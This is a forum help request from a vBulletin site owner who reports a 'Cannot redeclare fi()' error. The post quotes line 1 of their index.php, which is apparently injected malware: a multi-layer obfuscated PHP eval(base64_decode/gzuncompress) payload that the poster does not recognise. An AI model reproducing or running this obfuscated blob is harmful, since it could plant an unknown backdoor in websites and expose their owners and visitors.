i got this error this afternoon yesterdays..

try to disable global mod - nothing happen

so i redownload new vb file and replace all of that. so try to refresh, site is live without no problem on that..

but this after the error come out again.

the error is :
PHP Code:
Fatal errorCannot redeclare fi() (previously declared in /home/XXXXXX/public_html/index.php(1) : eval()'d code(2) : eval()'d code(1) : eval()'d code:1) in /home/XXXXXX/public_html/forum/global.php(1) : eval()'d code(2) : eval()'d code(1) : eval()'d code on line 1 
i try to open the index.php i see the line 1 and got something i never see it.

this the line i in index.php

PHP Code:
<?php eval(base64_decode("DQpldmFsKGJhc2U2NF9kZWNvZGUoIlpYWmhiQ2huZW5WdVkyOXRjSEpsYzNNb1ltRnpaVFkwWDJSbFkyOWtaU2duWlU1d01WVmpSVXQzYWtGTkwxSlZVRkZvVjBkUWVVRmxOWE5YVERSTlIycFRRbXhrTTBGd01VeFdhMGc0S3psME1HMDNaRUpET1VvcmNFd3pXSFJ3ZFV3NVptSjFZbnBsU0RCTEszUkNWRkJWTkd4WlpsaGFRMmxqTVVKRVFsUlJWVXBUTmpBMVV6bExRVkpzVGxOQmJFbDViakpHVFVKaVVqRXlWbGRNU1VoVU1WWkZSVGhrU1VkSWJGazRVMUpIZG1wTE1taDNSRUUyUm1sVllWUlZhbFpKTjA4eVNuQmFhRU5DWVd4QmFrOXZkR1JrUlRWQlYzRm9jSGN6YVZBMFpIVlVXWE42ZG1wbGNYRk1UMEpLVUVGWFdFVm9OSEJTZWtOM09Ya3JWMXB5VDBkVVlYVTFiakZsVTBnMll6VXZiVXhRY1hJd0wyRmlTMFV6ZFZVclMwUnhTR2hXTTNSWVVFMUZMekZaV20xaFJrUmFlVWhqTVRBeFZ6Y3liVkJzYzJSb09EbFNXaTlpYWxKMGR6ZzRaRVF2ZG1wR2VsSldibG8wUFNjcEtTazdJRDgrUEQ4Z1pYWmhiQ2huZW5WdVkyOXRjSEpsYzNNb1ltRnpaVFkwWDJSbFkyOWtaU2duWlU1dk1XbzVSazk0UTBGUlVsZzViRkY0Y21KdFoySmxNMWQzWVhZd1RqaEhRM0ZHWTFOdVZVdGlaMU0wTnpnM01WY3dlWGxVTTJONlNqQmFOV2hMYm1wRGJXVmFkWGRoTjB3NFluVkVkMVJSWlRKRmVqTnNPVlYxY0VSdmNuZzFhMEZIVlVkT2NuRTNaWGx5U2xRck15OU5hV1Z4TVhwbVF6VmFNa1ZDVmpoVGJVbFJRbkZPYWtsV2FFMXpUVlJyYTNSMk9XZEtPVmRVYld4b2FFUldVbHB2TTI5R2JVTTVWMUZOYURjeVUzTkxNVVpUV1dSNGVUSlRaVlZPWTFZM2VrZERWMjlVU210cVRGWlJkVTUxY1ZGdWVYcFlOWEJxSzI4NE0wTjZValZRV0dKNVkyVjZNVkY1UWpsVldIVm1VemhyUm5FclZ5OXlNMmxEU0hKbU9WZ3lTM0F5ZDNKVVkyUTNUV0ZHU3paSWRHVnRXVGxOUldzM1pYTkhSR3R5SzJwUVdsaERhV1ZIYm1od09GQllPRGgzZEdWWU1qTkhKeWtwS1RzZ1B6NDhQeUJsZG1Gc0tHZDZkVzVqYjIxd2NtVnpjeWhpWVhObE5qUmZaR1ZqYjJSbEtDZGxUbkE1YXprNVRIZDZRVkZuVUN0V1QxRndUSE5GYW5VeWJsTnlXWGM0VkRadWQxbExkRE13Y0ZsUmFUWnhRWFpMTkhkS2QzUnFMMkp1TjI5a2JYTmhTREJ5VXpOdVpETjVaR05yTW5VeGNrMWtjekJVVUVKd2NFOWpkMmw0WWt4d04zWTFZMnhYVGpack1WUnFNVkZzUms1UGVEZHNaRkY2VUVsNFEwTkZkMDV1VUZKbkswVktlVE5PU1RSc016ZDBaakZuTkd4eVkxTlFUbmN4ZUZRNWNITnNkbGhyTDBvNVFucFRVU3RNYmxOeldEQm9iMFJpVW1WSGNHaFpSM0k0ZDB0M0t6TkJWa3R3YWxwbmJtaFNUVXhyYzJGS1N6ZGhWMUJHTDNGSmRVb3ZWa3hVTkhwalduTlBkV0pLZDJaNlEwSnVWV0l3Y1hsMFpXbHlRamRYTml0bE5reFBOa3h6YVdwa09ISktUemhGVnk4eFVFNUdPR0pvVjNCdk4xaEpTR1V5V2t0NE0ydElSR1UzWjJJcmNuaFRSVk5SVFUxRlJWbEhSME5TVFVadFFWTjNiM2RFVkVWeFdWTlpRMUpvVFd0RVZFVlpXVVZCUm05VVEwVkpVVUpOUzFsUlEybHhhVWhuUjNGc2NrTk5hRWRqUTJSWmRXaE5iaXQ1UmpCVlVGbDJVa2hXUkhkRVpGTXplRUZSYW14Uk5HRlBVRGhaU1N0MGVERkljR0ZMV0ROUlJsRTJaMmx1YlUwNWNqVmpUbTByZGlzeVltUnVjemR6VEdSMGVVdGxaak00TVdWWU5XNXFPR1puUkZkV1ZtRmFkejA5SnlrcEtUcz0iKSk7DQo="));

sorry for the bad english language

i hope someone can solve my problem
and tell is this problem come from VB file or Server problem.

thanks